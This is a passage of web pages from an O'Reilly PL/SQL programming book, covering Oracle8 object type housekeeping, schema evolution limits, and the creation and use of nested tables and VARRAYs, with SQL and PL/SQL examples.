Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 18] 18.6 Object Housekeeping

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

18.6 Object Housekeeping

In the business of working with objects, you will gain a familiarity with a number of ways of getting information about object types that you have created. These include making direct queries of the data dictionary and using the SQL*Plus "describe" command.

Another topic in the "housekeeping" category is how to deal with schema changes after you have already built tables on your object types. As the next section of the chapter explains, there are no easy answers to this question.

18.6.1 Data Dictionary

There are a few new entries in the data dictionary that will be very helpful in managing your object types. The shorthand dictionary term for object types is simply TYPE. Object type definitions and object type bodies are both found in the USER_SOURCE view (or DBA_SOURCE, or ALL_SOURCE), just as package specifications and bodies are. Table 18.4 summarizes the views.

Table 18.4: Data Dictionary Entries for Object Types

To Answer the Question...

Use This View

As In

What object types have I created?

USER_TYPES

SELECT type_name
  FROM user_types
 WHERE type_code = 'OBJECT';

What are the attributes of type Foo_t?

USER_TYPE_ATTRS

SELECT *
  FROM user_type_attrs
 WHERE type_name = 'FOO_T';

What are the methods of type Foo_t?

USER_TYPE_METHODS

SELECT *
  FROM user_type_methods
 WHERE type_name = 'FOO_T';

What are the parameters of Foo_t's methods?

USER_METHOD_PARAMS

SELECT *
  FROM user_method_params
 WHERE type_name = 'FOO_T';

What datatype is returned by Foo_t's method called bar?

USER_METHOD_RESULTS

SELECT *
  FROM user_method_results
 WHERE type_name = 'FOO_T'
   AND method_name = 'BAR';

What is the source code for Foo_t?

USER_SOURCE

SELECT text
  FROM user_source
 WHERE name = 'FOO_T'
   AND type = 'TYPE'
 ORDER BY line;

What is the code used in the object body of Foo_t?

USER_SOURCE

SELECT text
  FROM user_source
 WHERE name = 'FOO_T'
   AND type = 'TYPE BODY'
 ORDER BY line;

What are the object tables that implement Foo_t?

USER_TABLES

SELECT table_name
  FROM user_object_tables
 WHERE table_type = 'FOO_T';

What columns implement Foo_t?

USER_TAB_COLUMNS

SELECT table_name, column_name
  FROM user_tab_columns
 WHERE data_type = 'FOO_T';

What database objects are dependent on Foo_t?

USER_DEPENDENCIES

SELECT name, type
  FROM user_dependencies
 WHERE referenced_name = 'FOO_T';

18.6.2 SQL*Plus "Describe" Command

If you're like me and don't like to type any more than necessary, you'll appreciate a wonderful enhancement that Oracle has provided for the describe command in SQL*Plus. It will report not only the attributes of an object type, but also the methods and their arguments. To illustrate:

SQL> desc pet_t
 Name                            Null?    Type
 ------------------------------- -------- ----
 TAG_NO                                   NUMBER(38)
 NAME                                     VARCHAR2(60)
 ANIMAL_TYPE                              VARCHAR2(30)
 SEX                                      VARCHAR2(1)
 PHOTO                                    BINARY FILE LOB
 VACCINATIONS                             VACCINATION_LIST_T
 OWNER                                    REF OF PERSON_T

METHOD
------
 MEMBER FUNCTION SET_TAG_NO RETURNS PET_T
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 NEW_TAG_NO                     NUMBER                  IN

METHOD
------
 MEMBER FUNCTION SET_PHOTO RETURNS PET_T
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 FILE_LOCATION                  VARCHAR2                IN
 MEMBER PROCEDURE PRINT_ME

Although the formatting could be improved, this is much easier than SELECTing the equivalent information from the data dictionary.

18.6.3 Schema Evolution

Let's say that you have created an object type and you need to make a change to its definition. What do you do? The answer is that it depends -- on whether you have used the type, and on what type of change you want to make. Precious few modifications are easy; the rest will probably age you prematurely. Consider the implications of where you have used the type:

  • Type has no dependencies. Using CREATE OR REPLACE, you can change the object type to you heart's content. Or drop and recreate it; who cares? Life is good.

  • Type is used only in PL/SQL modules. In this case, since you don't have to rebuild any dependent tables, life is still easy. Oracle will automatically recompile dependent PL/SQL modules the next time they are called.

  • Type is used in one or more tables. Consider what would be a simple change to a relational table: adding a column. If you try to add a column to an object table, you get an "ORA-22856 cannot add columns to object tables." The "Action" for this message says we need to "Create a new type with additional attributes, and use the new type to create an object table. The new object table will have the desired columns." Your frustrations are beginning.

OK, if you want to add an attribute, you're out of luck. What about methods? Oracle8.0 does include an ALTER TYPE statement that allows you to recompile an object specification or body. It also allows you to add new methods. It is extremely limited, however; it does not allow you to add or remove attributes, nor does it allow you to modify the quantity or datatypes of existing method arguments. The basic syntax is:

Form I
ALTER TYPE [ BODY ] type_name COMPILE [ SPECIFICATION | BODY ];

which does not solve our problem, or:

Form II
ALTER TYPE [ BODY ] type_name REPLACE
   <the entire new type or body definition>;

Using Form II, we can, in fact, add an entirely new method to an object type, even if there are dependencies on the type.

In the case of changing a method's specification (or deleting a method) in object type Foo_t which is implemented in table foo, you would think that export/import would work, using something like:

  1. Export the foo table.

  2. Drop the foo table.

  3. CREATE OR REPLACE TYPE Foo_t with the new definition.

  4. Import the foo table.

But alas, it doesn't work, because when you CREATE OR REPLACE the type, it actually assigns a new OID to the type, and the import fails with IMP-00063 when it sees that the OID is different. Huh? What do you mean, "assigns a new OID to the type?" For reasons apparently having to do with facilitating certain operations in the Oracle Call Interface (OCI), object types themselves have an OID. See for yourself -- you can easily retrieve them from the USER_TYPES data dictionary view.

Neither can you "CREATE new_object_table AS SELECT ... FROM old_object_table." Even if you could, the REFs wouldn't match up to the OIDs of the new table.

It's even worse if you want to make any serious modifications to an object type and you have a dependency on the type from other types or tables. You cannot drop and recreate a parent object table unless you drop the child object types and object tables first. So maybe you could:

  1. Create new object types and tables.

  2. Somehow populate new from the old.

  3. Drop the old object tables and types.

  4. Rename the new types and object tables to the old names.

It is not obvious to me how to do the second step in a way that will preserve REFs to the type. The only way I see to do it in a guaranteed fashion is to rely on relational primary and foreign keys for tuple identification. That is, your schema will include not only REFs but also equivalent foreign keys. Then, when your OIDs change because you have rebuilt an object table, you can update all the REFs to that object table using foreign key values. Not a pretty picture.

Also, you cannot rename object types (number 4 above); attempting to do so fails with "ORA-03001: unimplemented feature."

WARNING: Requiring the dropping of all dependent types and objects before altering a type is not going to endear the Oracle objects option to the average database administrator (or to anyone else, for that matter). Object schema evolution is a significant area where Oracle could make a lot of improvements.

Previous: 18.5 Modifying Persistent Objects | Oracle PL/SQL Programming, 2nd Edition | Next: 18.7 Making the Objects Option Work
18.5 Modifying Persistent Objects | Book Index | 18.7 Making the Objects Option Work
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 18] 18.7 Making the Objects Option Work

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

18.7 Making the Objects Option Work

This stuff isn't designed to be easy for the beginner, and the complexities are more than syntax-deep. In addition to the operational limitations we have discussed, the act of "thinking objects" is not a trait that comes naturally to programmers schooled in database or structured approaches. But if you feel intimidated, take heart from this advice: "There may be an OO revolution, but that does not mean you have to make the change all at once. Instead, you can incorporate what you know worked before, and bring in the best that OO has to offer, a little at a time as you understand it."[16]

[16] See Rick Mercer and A. Michael Berman, "Object-Oriented Technology and C++ in the First Year: Ten Lessons Learned." Presented at the Northeastern Small College Computing Conference, April 18- 20, 1996, and on the web at http://www.rowan.edu/~berman/tenLessons/paper.htm.

If object technology is such a challenge, what is it that drives many organizations to consider object approaches in the first place? The overriding interest of managers seems to be their desire to reuse rather than reinvent the software needed to run their businesses.[17] In industries whose automation needs are not satisfied by off-the-shelf solutions, IS managers are continuously squeezed by the need to deliver more and more solutions while maintaining their legacy code, all while attempting to keep costs under control.

[17] See Ivar Jacobson, "Reuse in Reality: The Reuse-Driven Software-Engineering Business." Presented at Object Expo Paris, available at http://www.rational.com/support/techpapers/objex_ivar.pdf.

It may not be obvious from our examples just how the objects option is going to facilitate reuse, particularly given Oracle8.0's lack of inheritance and difficulties with schema evolution. Indeed, the benefits of an object approach do not automatically accrue to the practitioner; large systems, in particular, must exhibit other characteristics.[18] Achieving reuse requires careful planning and deliberate execution.

[18] See Grady Booch, Object-Oriented Analysis and Design with Applications, Addison-Wesley 1994.

Experts recommend not attempting object approaches just because someone says they are cool or because everyone else is doing it. Without a financial and time commitment to understanding, and without taking advantage of a different programming model, you are not likely to get much benefit, and yours will join the landscape of projects that didn't deliver.

Yes, object approaches can be a way to do more with less. In fact, computer industry pundits assert that "componentware" is becoming the dominant form of software, and that application development is evolving into a process of wiring together components -- whether built in-house or procured -- rather than developing software from scratch. These components are typically built using object design (to specify the component's interfaces, and what it will and won't do) and object-oriented programming languages. The game isn't over, though; we need look only as close as the nearest desktop computer to see both the benefits and the perils of componentware. Windows DLLs, for example, allow module sharing and dynamic loading, but lack a superstructure for managing multiple versions. Other component models exist (CORBA, ActiveX, COM, JavaBeans) in varying states of industry acceptance.

Almost certainly, Oracle Corporation will be adding needed features such as inheritance and schema evolution tools to their objects option. One day, objects may even be a standard part of the server. Until the technology matures, early adopters will enjoy the pleasures of finding workarounds, and will gain a deeper appreciation of features that appear later in the product.

Previous: 18.6 Object Housekeeping | Oracle PL/SQL Programming, 2nd Edition | Next: 19. Nested Tables and VARRAYs
18.6 Object Housekeeping | Book Index | 19. Nested Tables and VARRAYs
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] Nested Tables and VARRAYs

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 18.7 Making the Objects Option Work Chapter 19 Next: 19.2 Creating the New Collections

19. Nested Tables and VARRAYs

Contents:
Types of Collections
Creating the New Collections
Syntax for Declaring Collection Datatypes
Using Collections
Collection Pseudo-Functions
Collection Built-Ins
Example: PL/SQL-to-Server Integration
Collections Housekeeping
Which Collection Type Should I Use?

In PL/SQL Version 2, Oracle introduced the TABLE datatype as a way of storing singly dimensioned sparse arrays in PL/SQL. Known as the "PL/SQL table," this structure is thoroughly documented in Chapter 10, PL/SQL Tables. PL/SQL8 introduces two new collection structures that have a wide range of new uses. These structures are nested tables and variable-size arrays (VARRAYs). Like PL/SQL tables, the new structures can also be used in PL/SQL programs. But what is dramatic and new is the ability to use the new collections as the datatypes of fields in conventional tables and attributes of objects. While not an exhaustive implementation of user-defined datatypes, collections offer rich new physical (and, by extension, logical) design opportunities for Oracle practitioners.

In this chapter we'll include brief examples showing how to create and use collection types both in the database and in PL/SQL programs. We'll also show the syntax for creating collection types. We'll present the three different initialization techniques with additional examples, and we'll discuss the new built-in "methods," EXTEND, TRIM, and DELETE, for managing collection content. This chapter also contains an introduction to the new "collection pseudo-functions" that Oracle8 provides to deal with nonatomic values in table columns. Although we can't cover every aspect of SQL usage, the examples will give you a sense of how important -- and useful -- these new devices can be, despite their complexity. We also include a reference section that details all of the built-in methods for collections: for each we'll show its specification, an example, and some programming considerations. The chapter concludes with a brief discussion of which type of collection is most appropriate for some common situations.

19.1 Types of Collections

Oracle now supports three types of collections:

  • PL/SQL tables are singly dimensioned, unbounded, sparse collections of homogeneous elements and are available only in PL/SQL (see Chapter 10). These are now called index-by tables.

  • Nested tables are also singly dimensioned, unbounded collections of homogeneous elements. They are initially dense but can become sparse through deletions. Nested tables are available in both PL/SQL and the database (for example, as a column in a table).

  • VARRAYs, like the other two collection types, are also singly dimensioned collections of homogeneous elements. However, they are always bounded and never sparse. Like nested tables, they can be used in PL/SQL and in the database. Unlike nested tables, when you store and retrieve a VARRAY, its element order is preserved.

Using a nested table or VARRAY, you can store and retrieve nonatomic data in a single column. For example, the employee table used by the HR department could store the date of birth for each employee's dependents in a single column, as shown in Table 19.1.

Table 19.1: Storing a Nonatomic Column of Dependents in a Table of Employees
Id (NUMBER) | Name (VARCHAR2) | Dependents_ages (Dependent_birthdate_t)
10010 | Zaphod Beeblebrox | 12-JAN-1763 4-JUL-1977 22-MAR-2021
10020 | Molly Squiggly | 15-NOV-1968 15-NOV-1968
10030 | Joseph Josephs |
10040 | Cepheus Usrbin | 27-JUN-1995 9-AUG-1996 19-JUN-1997
10050 | Deirdre Quattlebaum | 21-SEP-1997

It's not terribly difficult to create such a table. First we define the collection type:

CREATE TYPE Dependent_birthdate_t AS VARRAY(10) OF DATE;

Now we can use it in the table definition:

CREATE TABLE employees (
   id NUMBER,
   name VARCHAR2(50),
   ...other columns...,
   Dependents_ages Dependent_birthdate_t
);

We can populate this table using the following INSERT syntax, which relies on the type's default constructor to transform a list of dates into values of the proper datatype:

INSERT INTO employees VALUES (42, 'Zaphod Beeblebrox', ...,
   Dependent_birthdate_t( '12-JAN-1765', '4-JUL-1977', '22-MAR-2021'));

One slight problem: most of us have been trained to view nonatomic data as a design flaw. So why would we actually want to do this? In some situations (for those in which you don't need to scan the contents of all the values in all the rows), theoreticians and practitioners alike consider nonatomic data to be perfectly acceptable. Even the conscience of the relational model, Chris Date, suggests that relational domains could contain complex values, including lists.[1] Some database designers have believed for years that the large percentage of nonatomic data inherent in their applications demands a nonrelational solution.

[1] See Hugh Darwen and C. J. Date, "The Third Manifesto," SIGMOD Record, Volume 24 Number 1, March 1995.

Setting aside theoretical arguments about "natural" data representations, Oracle collections provide a dramatic advantage from an application programmer's perspective: you can pass an entire collection between the database and PL/SQL using a single fetch. This feature alone could have significant positive impact on application performance.

As we've mentioned, within PL/SQL both nested tables and VARRAYs are ordered collections of homogeneous elements. Both bear some resemblance to the PL/SQL Version 2 table datatype, the elder member of the "collection" family. The new types are also singly dimensioned arrays, but they differ in areas such as sparseness (not exactly), how they're initialized (via a constructor), and whether they can be null (yes).

One chief difference between nested tables and VARRAYs surfaces when we use them as column datatypes. Although using a VARRAY as a column's datatype can achieve much the same result as a nested table, VARRAY data must be predeclared to be of a maximum size, and is actually stored "inline" with the rest of the table's data.

Nested tables, by contrast, are stored in special auxiliary tables called store tables, and there is no pre-set limit on how large they can grow. For this reason, Oracle Corporation says that VARRAY columns are intended for "small" arrays, and that nested tables are appropriate for "large" arrays.

As we've mentioned, the old Version 2 table datatype is now called an index-by table , in honor of the INDEX BY BINARY_INTEGER syntax required when declaring such a type. Despite the many benefits of the new collection types, index-by tables have one important unique feature: initial sparseness. Table 19.2 illustrates many of the additional differences among index-by tables and the new collection types.

Table 19.2: Comparing Oracle Collection Types
Characteristic | Index-By Table | Nested Table | VARRAY
Dimensionality | Single | Single | Single
Usable in SQL? | No | Yes | Yes
Usable as column datatype in a table? | No | Yes; data stored "out of line" (in separate table) | Yes; data stored "in line" (in same table)
Uninitialized state | Empty (cannot be null); elements undefined | Atomically null; illegal to reference elements | Atomically null; illegal to reference elements
Initialization | Automatic, when declared | Via constructor, fetch, assignment | Via constructor, fetch, assignment
In PL/SQL, elements referenced via | BINARY_INTEGER (-2,147,483,647 .. 2,147,483,647) | Positive integer between 1 and 2,147,483,647 | Positive integer between 1 and 2,147,483,647
Sparse? | Yes | Initially, no; after deletions, yes | No
Bounded? | No | Can be extended | Yes
Can assign value to any element at any time? | Yes | No; may need to EXTEND first | No; may need to EXTEND first, and cannot EXTEND past upper bound
Means of extending | Assign value to element with a new subscript | Use built-in EXTEND procedure (or TRIM to condense), with no predefined maximum | EXTEND (or TRIM), but only up to declared maximum size
Can be compared for equality? | No | No | No
Retains ordering and subscripts when stored in and retrieved from database? | N/A | No | Yes

The inevitable question is: Which construct should I use? This chapter reviews some examples of the new collections and offers some suggestions in this area. The short answer:

  • Nested tables are more flexible than VARRAYs for table columns.

  • VARRAYs are best when you need bounded arrays that preserve element order.

  • Index-by tables are the only option that allows initial sparseness.

  • If your code must run in both Oracle7 and Oracle8, you can use only index-by tables.

We'll revisit these suggestions in more detail at the end of the chapter. Before diving in, though, let's review a few of the new terms:

Collection

A term which can have several different meanings:

  • A nested table, index-by table, or VARRAY datatype

  • A PL/SQL variable of type nested table, index-by table, or VARRAY

  • A table column of type nested table or VARRAY

Outer table

A term referring to the "enclosing" table in which you have used a nested table or VARRAY as a column's datatype

Inner table

The "enclosed" collection that is implemented as a column in a table; also known as a "nested table column"

Store table

The physical table which Oracle creates to hold values of the inner table

Unfortunately, the term "nested table" can be a bit misleading. A nested table, when declared and used in PL/SQL, is not nested at all! It is instead fairly similar to an array. Even when you use a nested table as a table column, in Oracle 8.0 you can only nest these structures to a single level. That is, your column cannot consist of a nested table of nested tables.

"Variable-size array" is also a deceptive name; one might assume, based on the fact that it is supposed to be "variable size," that it can be arbitrarily extended; quite the opposite is true. Although a VARRAY can have a variable number of elements, this number can never exceed the limit that you define when you create the type.

Previous: 18.7 Making the Objects Option Work | Oracle PL/SQL Programming, 2nd Edition | Next: 19.2 Creating the New Collections
18.7 Making the Objects Option Work | Book Index | 19.2 Creating the New Collections
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.2 Creating the New Collections

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

19.2 Creating the New Collections

There are two different ways of creating the new user-defined collection types:

  1. You can define a nested table type or VARRAY type "in the database" using the CREATE TYPE command, which makes the datatype available to use for a variety of purposes: columns in database tables, variables in PL/SQL programs, and attributes of object types.

  2. You can declare the collection type within a PL/SQL program using TYPE ... IS ... syntax. This collection type will then be available only for use within PL/SQL.

Let's look at a few examples that illustrate how to create collections.

19.2.1 Collections "In the Database"

Before you can define a database table containing a nested table or VARRAY, you must first create the collection's datatype in the database using the CREATE TYPE statement. There is no good analogy for this command in Oracle7; it represents new functionality in the server. If we wanted to create a nested table datatype for variables that will hold lists of color names, we'll specify:

CREATE TYPE Color_tab_t AS TABLE OF VARCHAR2(30);

This command stores the type definition for the Color_tab_t nested table in the data dictionary. Once created, it can serve as the datatype for items in at least two different categories of database object:

  • A "column" in a conventional table

  • An attribute in an object type

Defining a VARRAY datatype is similar to defining a nested table, but you must also specify an upper bound on the number of elements collections of this type may contain. For example:

CREATE TYPE Color_array_t AS VARRAY (16) OF VARCHAR2(30);

Type Color_array_t has an upper limit of 16 elements regardless of where it is used.

While these examples use VARCHAR2, collections can also consist of other primitive datatypes, object types, references to object types, or (in PL/SQL only) PL/SQL record types. To show something other than a table of scalars, let's look at an example of a VARRAY of objects. Here we define an object type that will contain information about documents:

CREATE TYPE Doc_t AS OBJECT (
   doc_id INTEGER,
   name VARCHAR2(512),
   author VARCHAR2(60),
   url VARCHAR2(2000)
);

We can then define a collection type to hold a list of these objects:

CREATE TYPE Doc_array_t AS VARRAY(10) OF Doc_t;

In this case, we've chosen to make it a variable-size array type with a maximum of ten elements.

Another useful application of collections is in their ability to have elements which are REFs (reference pointers) to objects in the database. That is, your collection may have a number of pointers to various persistent objects (see Chapter 18, Object Types, for more discussion of REFs). Consider this example:

CREATE TYPE Doc_ref_array_t AS TABLE OF REF Doc_t;

This statement says "create a user-defined type to hold lists of pointers to document objects." You can use a nested table of REFs as you would any other nested table: as a column, as an attribute in an object type, or as the type of a PL/SQL variable.

NOTE: While Oracle 8.0.3 allows you to create homogeneous collections, in some cases we might want to build heterogeneous collections. It would be useful to be able to define a type like the following:

CREATE TYPE Generic_ref_t AS TABLE OF REF ANY; -- not in 8.0.3

This could allow you to make collections that hold references to more than one type of object in your database ... or, if OID's are globally unique, each REF could point to any object in any database on your entire network!1

19.2.1.1 Collection as a "column" in a conventional table

In the following case, we are using a nested table datatype as a column. When we create the outer table personality_inventory, we must tell Oracle what we want to call the "out of line" store table:

CREATE TABLE personality_inventory (
   person_id NUMBER,
   favorite_colors Color_tab_t,
   date_tested DATE,
   test_results BLOB)
NESTED TABLE favorite_colors STORE AS favorite_colors_st;

The NESTED TABLE ... STORE AS clause tells Oracle that we want the store table for the favorite_colors column to be called favorite_colors_st.

You cannot directly manipulate data in the store table, and any attempt to retrieve or store data directly into favorite_colors_st will generate an error. The only path by which you can read or write its attributes is via the outer table. (See Section 19.5, "Collection Pseudo-Functions" for a few examples of doing so.) You cannot even specify storage parameters for the store table; it inherits the physical attributes of its outermost table.

As you would expect, if you use a VARRAY as a column rather than as a nested table, no store table is required. Here, the colors collection is stored "in line" with the rest of the table:

CREATE TABLE birds (
   genus VARCHAR2(128),
   species VARCHAR2(128),
   colors Color_array_t
);

19.2.1.2 Collection as an attribute of an object type

In this example, we are modeling automobile specifications, and each Auto_spec_t object will include a list of manufacturer's colors in which you can purchase the vehicle. (See Chapter 18 for more information about Oracle object types.)

CREATE TYPE Auto_spec_t AS OBJECT (
   make VARCHAR2(30),
   model VARCHAR2(30),
   available_colors Color_tab_t
);

Because there is no data storage required for the object type, it is not necessary to designate a name for the companion table at the time we issue the CREATE TYPE ... AS OBJECT statement.

When the time comes to implement the type as, say, an object table, you could do this:

CREATE TABLE auto_specs OF Auto_spec_t
   NESTED TABLE available_colors STORE AS available_colors_st;

This statement requires a bit of explanation. When you create a "table of objects," Oracle looks at the object type definition to determine what columns you want. When it discovers that one of the object type's attributes, available_colors, is in fact a nested table, Oracle treats this table in a way similar to the examples above; in other words, it wants to know what to name the store table. So the phrase

...NESTED TABLE available_colors STORE AS available_colors_st

says that you want the available_colors column to have a store table named available_colors_st.

19.2.2 Collections in PL/SQL

Whether you use a predefined collection type or declare one in your program, using it requires that you declare a variable in a separate step. This declare-type-then-declare-variable motif should be familiar to you if you have ever used an index-by table or a RECORD type in a PL/SQL program.

19.2.2.1 Collection variables

Using the collection types we've declared above, the following shows some legal declarations of PL/SQL variables:

DECLARE
   -- A variable that will hold a list of available font colors
   font_colors Color_tab_t;

   /* The next variable will later hold a temporary copy of
   || font_colors. Note that we can use %TYPE to refer to the
   || datatype of font_colors. This illustrates two different
   || ways of declaring variables of the Color_tab_t type.
   */
   font_colors_save font_colors%TYPE;

   -- Variable to hold a list of paint colors
   paint_mixture Color_array_t;

But there is no reason you must use only types you have created in the database. You can declare them locally, or mix and match from both sources:

DECLARE
   /* As with Oracle7 index-by tables, you can define
   || a table datatype here within a declaration section...
   */
   TYPE Number_t IS TABLE OF NUMBER;

   /* ...and then you can use your new type in the declaration
   || of a local variable. The next line declares and initializes
   || in a single statement. Notice the use of the constructor,
   || Number_t(value, value, ...), to the right of the ":="
   */
   my_favorite_numbers Number_t := Number_t(42, 65536);

   /* Or you can just refer to the Color_tab_t datatype in the
   || data dictionary. This next line declares a local variable
   || my_favorite_colors to be a "nested" table and initializes it
   || with two initial elements using the default constructor.
   */
   my_favorite_colors Color_tab_t := Color_tab_t('PURPLE', 'GREEN');

BEGIN
   /* Once the local variables exist, usage is independent of whether
   || they were declared from local types or from types that live in
   || the data dictionary.
   */
   my_favorite_colors(2) := 'BLUE';     -- changes 2nd element to BLUE
   my_favorite_numbers(1) := 3.14159;   -- changes first element to pi
END;

This code also illustrates default constructors, which are special functions Oracle provides whenever you create a type, that serve to initialize and/or populate their respective types. A constructor has the same name as the type, and accepts as arguments a comma-separated list of elements.

19.2.2.2 Collections as components of a record

Using a collection type in a record is very similar to using any other type. You can use VARRAYs, nested tables, or index-by tables (or any combination thereof) in RECORD datatypes. For example:

DECLARE
   TYPE toy_rec_t IS RECORD (
      manufacturer INTEGER,
      shipping_weight_kg NUMBER,
      domestic_colors Color_array_t,
      international_colors Color_tab_t
   );

RECORD types cannot live in the database; they are only available within PL/SQL programs. Logically, however, you can achieve a similar result with object types. Briefly, object types can have a variety of attributes, and you can include the two new collection types as attributes within objects; or you can define a collection whose elements are themselves objects.

19.2.2.3 Collections as module parameters

Collections can also serve as module parameters. In this case, you cannot return a user-defined type that is declared in the module itself. You will instead use types that you have built outside the scope of the module, either via CREATE TYPE or via public declaration in a package.

/* This function provides a pseudo "UNION ALL" operation on
|| two input parameters of type Color_tab_t. That is, it creates an
|| OUT parameter which is the superset of the colors of the two
|| input parameters.
*/
CREATE PROCEDURE make_colors_superset (first_colors IN Color_tab_t,
   second_colors IN Color_tab_t, superset OUT Color_tab_t)
AS
   working_colors Color_tab_t := Color_tab_t();
   element INTEGER := 1;
   which INTEGER;
BEGIN
   /* Invoke the EXTEND method to allocate enough storage
   || to the nested table working_colors.
   */
   working_colors.EXTEND (first_colors.COUNT + second_colors.COUNT);

   /* Loop through each of the input parameters, reading their
   || contents, and assigning each element to an element of
   || working_colors. Input collections may be sparse.
   */

   which := first_colors.FIRST;
   LOOP
      EXIT WHEN which IS NULL;
      working_colors(element) := first_colors(which);
      element := element + 1;
      which := first_colors.NEXT(which);
   END LOOP;

   which := second_colors.FIRST;
   LOOP
      EXIT WHEN which IS NULL;
      working_colors(element) := second_colors(which);
      element := element + 1;
      which := second_colors.NEXT(which);
   END LOOP;

   superset := working_colors;
END;

As a bit of an aside, let's take a look at the loops used in the code. The general form you can use to iterate over the elements of a collection is as follows:

1    which := collection_name.FIRST;
2    LOOP
3       EXIT WHEN which IS NULL;
4       -- do something useful with the current element...
5       which := collection_name.NEXT(which);
6    END LOOP;

This works for both dense and sparse collections. The first assignment statement, at line 1, gets the subscript of the FIRST element in the collection; if it's NULL, that means there are no elements, and we would therefore exit immediately at line 3.

But if there are elements in the collection, we reach line 4, where the program will do "something useful" with the value, such as assign, change, or test its value for some purpose.

The most interesting line of this example is line 5, where we use the NEXT method on the collection to retrieve the next-higher subscript above "which" on the right-hand side. In the event that a particular subscript has been DELETEd, the NEXT operator simply skips over it until it finds a non-deleted element. Also in line 5, if NEXT returns a NULL, that is our cue that we have iterated over all of the collection's elements, and it's time to exit the loop when we get back to line 3.

You might also ask why we should use the local variable working_colors in the example above? Why not simply use the superset parameter as the working variable in the program? As it turns out, when we EXTEND a nested table, it must also read the table. So we would have to make superset an IN OUT variable, because OUT variables cannot be read within the program. It's better programming style to avoid using an IN OUT variable when OUT would suffice -- -and more efficient, especially for remote procedure calls.

19.2.2.4 Collections as the datatype of a function's return value

In the next example, the programmer has defined Color_tab_t as the type of a function return value, and it is also used as the datatype of a local variable. The same restriction about datatype scope applies to this usage; types must be declared outside the module's scope.

CREATE FUNCTION true_colors (whose_id IN NUMBER) RETURN Color_tab_t
AS
   l_colors Color_tab_t;
BEGIN
   SELECT favorite_colors INTO l_colors
     FROM personality_inventory
    WHERE person_id = whose_id;
   RETURN l_colors;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      RETURN NULL;
END;

This example also illustrates a long-awaited feature: the retrieval of a complex data item in a single fetch. This is so cool that it bears repeating, so we'll talk more about it later in this chapter.

How would you use this function in a PL/SQL program? Since it acts in the place of a variable of type Color_tab_t, you can do one of two things with the returned data:

  1. Assign the entire result to a collection variable

  2. Assign a single element of the result to a variable (as long as the variable is of a type compatible with the collection's elements)

The first option is easy. Notice, by the way, that this is another circumstance where you don't have to initialize the collection variable explicitly.

DECLARE
   color_array Color_tab_t;
BEGIN
   color_array := true_colors (8041);
END;

With option two, we actually give the function call a subscript. The general form is:

variable_of_element_type := function ( ) (subscript);

Or, in the case of the true_colors function:

DECLARE
   one_of_my_favorite_colors VARCHAR2(30);
BEGIN
   one_of_my_favorite_colors := true_colors (whose_id=>8041) (1);
END;

By the way, this code has a small problem: if there is no record in the database table where person_id is 8041, the attempt to read its first element will raise a COLLECTION_IS_NULL exception. We should trap and deal with this exception in a way that makes sense to the application.

In the previous example, I've used named parameter notation, whose_id=>, for readability, although it is not strictly required. The main syntactic rule is that function parameters come before subscripts. If your function has no parameters, you'll need to use the empty parameter list notation, ( ), as a placeholder:

variable_of_element_type := function () (subscript);

Previous: 19.1 Types of Collections | Oracle PL/SQL Programming, 2nd Edition | Next: 19.3 Syntax for Declaring Collection Datatypes
19.1 Types of Collections | Book Index | 19.3 Syntax for Declaring Collection Datatypes
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.3 Syntax for Declaring Collection Datatypes

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

19.3 Syntax for Declaring Collection Datatypes

As noted earlier, you must first declare or create a collection datatype before you can create collections based on that type.

To create a nested table datatype that lives in the data dictionary, specify:

CREATE [ OR REPLACE ] TYPE <type name> AS
   TABLE OF <element datatype> [ NOT NULL ];

To create a VARRAY datatype that lives in the data dictionary:

CREATE [ OR REPLACE ] TYPE <type name> AS
   VARRAY (<max elements>) OF <element datatype> [ NOT NULL ];

To drop a type:

DROP TYPE <type name> [ FORCE ];

To declare a nested table datatype in PL/SQL:

TYPE <type name> IS TABLE OF <element datatype> [ NOT NULL ];

To declare a VARRAY datatype in PL/SQL:

TYPE <type name> IS VARRAY (<max elements>)
   OF <element datatype> [ NOT NULL ];

Where:

OR REPLACE

Allows you to rebuild an existing type as long as there are no other database objects that depend on it. This is useful primarily because it preserves grants.

type name

A legal SQL or PL/SQL identifier. This will be the identifier to which you refer later when you use it to declare variables or columns.

element datatype

